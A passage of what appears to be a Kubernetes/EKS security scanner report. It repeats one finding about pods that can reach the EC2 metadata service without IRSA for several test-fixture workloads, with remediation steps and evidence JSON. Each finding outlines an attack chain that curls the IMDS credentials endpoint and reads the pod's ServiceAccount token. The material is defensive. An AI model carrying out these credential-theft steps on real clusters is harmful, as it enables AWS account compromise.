  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
fallbackTo
"node-iam-role"
pod
"rbac-fixtures/imp-app"
reason
"no-egress-policy"
sa
"rbac-fixtures/sa-impersonate"
workload
"Deployment/rbac-fixtures/imp-app"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "",
  "pod": "rbac-fixtures/imp-app",
  "reason": "no-egress-policy",
  "sa": "rbac-fixtures/sa-impersonate",
  "workload": "Deployment/rbac-fixtures/imp-app"
}
HIGH ServiceAccount/rbac-fixtures/sa-wildcard Workload 10.0
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-wildcard Resource: Deployment/rbac-fixtures/wildcard-app

On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueSteal node IAM role via IMDS

EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
fallbackTo
"node-iam-role"
pod
"rbac-fixtures/wildcard-app"
reason
"no-egress-policy"
sa
"rbac-fixtures/sa-wildcard"
workload
"Deployment/rbac-fixtures/wildcard-app"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "",
  "pod": "rbac-fixtures/wildcard-app",
  "reason": "no-egress-policy",
  "sa": "rbac-fixtures/sa-wildcard",
  "workload": "Deployment/rbac-fixtures/wildcard-app"
}
HIGH ServiceAccount/csr-fixtures/sa-csr-mint Workload 10.0
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/csr-fixtures/sa-csr-mint Resource: Deployment/csr-fixtures/csr-mint-app

On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueSteal node IAM role via IMDS

EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
fallbackTo
"node-iam-role"
pod
"csr-fixtures/csr-mint-app"
reason
"no-egress-policy"
sa
"csr-fixtures/sa-csr-mint"
workload
"Deployment/csr-fixtures/csr-mint-app"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "",
  "pod": "csr-fixtures/csr-mint-app",
  "reason": "no-egress-policy",
  "sa": "csr-fixtures/sa-csr-mint",
  "workload": "Deployment/csr-fixtures/csr-mint-app"
}
HIGH ServiceAccount/vulnerable/default Workload 10.0
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/vulnerable/default Resource: Deployment/vulnerable/socket-mounts-app

On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueSteal node IAM role via IMDS

EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
fallbackTo
"node-iam-role"
pod
"vulnerable/socket-mounts-app"
reason
"no-egress-policy"
sa
"vulnerable/default"
workload
"Deployment/vulnerable/socket-mounts-app"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "",
  "pod": "vulnerable/socket-mounts-app",
  "reason": "no-egress-policy",
  "sa": "vulnerable/default",
  "workload": "Deployment/vulnerable/socket-mounts-app"
}
HIGH ServiceAccount/vulnerable/default Workload 10.0
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/vulnerable/default Resource: Deployment/vulnerable/host-ns-app

On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueSteal node IAM role via IMDS

EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
fallbackTo
"node-iam-role"
pod
"vulnerable/host-ns-app"
reason
"no-egress-policy"
sa
"vulnerable/default"
workload
"Deployment/vulnerable/host-ns-app"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "",
  "pod": "vulnerable/host-ns-app",
  "reason": "no-egress-policy",
  "sa": "vulnerable/default",
  "workload": "Deployment/vulnerable/host-ns-app"
}
HIGH ServiceAccount/vulnerable/default Workload 10.0
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/vulnerable/default Resource: Deployment/vulnerable/root-runner

On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueSteal node IAM role via IMDS

EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
fallbackTo
"node-iam-role"
pod
"vulnerable/root-runner"
reason
"no-egress-policy"
sa
"vulnerable/default"
workload
"Deployment/vulnerable/root-runner"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "",
  "pod": "vulnerable/root-runner",
  "reason": "no-egress-policy",
  "sa": "vulnerable/default",
  "workload": "Deployment/vulnerable/root-runner"
}
HIGH ServiceAccount/vulnerable/default Workload 10.0
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/vulnerable/default Resource: Deployment/vulnerable/risky-app

On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueSteal node IAM role via IMDS

EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
fallbackTo
"node-iam-role"
pod
"vulnerable/risky-app"
reason
"host-network"
sa
"vulnerable/default"
workload
"Deployment/vulnerable/risky-app"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "",
  "pod": "vulnerable/risky-app",
  "reason": "host-network",
  "sa": "vulnerable/default",
  "workload": "Deployment/vulnerable/risky-app"
}
HIGH ServiceAccount/ingress-only/default Workload 10.0
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/ingress-only/default Resource: Deployment/ingress-only/ingress-app

On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueSteal node IAM role via IMDS

EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
fallbackTo
"node-iam-role"
pod
"ingress-only/ingress-app"
reason
"no-egress-policy"
sa
"ingress-only/default"
workload
"Deployment/ingress-only/ingress-app"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "",
  "pod": "ingress-only/ingress-app",
  "reason": "no-egress-policy",
  "sa": "ingress-only/default",
  "workload": "Deployment/ingress-only/ingress-app"
}
HIGH ServiceAccount/flat-network/default Workload 10.0
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/flat-network/default Resource: Deployment/flat-network/unmatched

On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueSteal node IAM role via IMDS

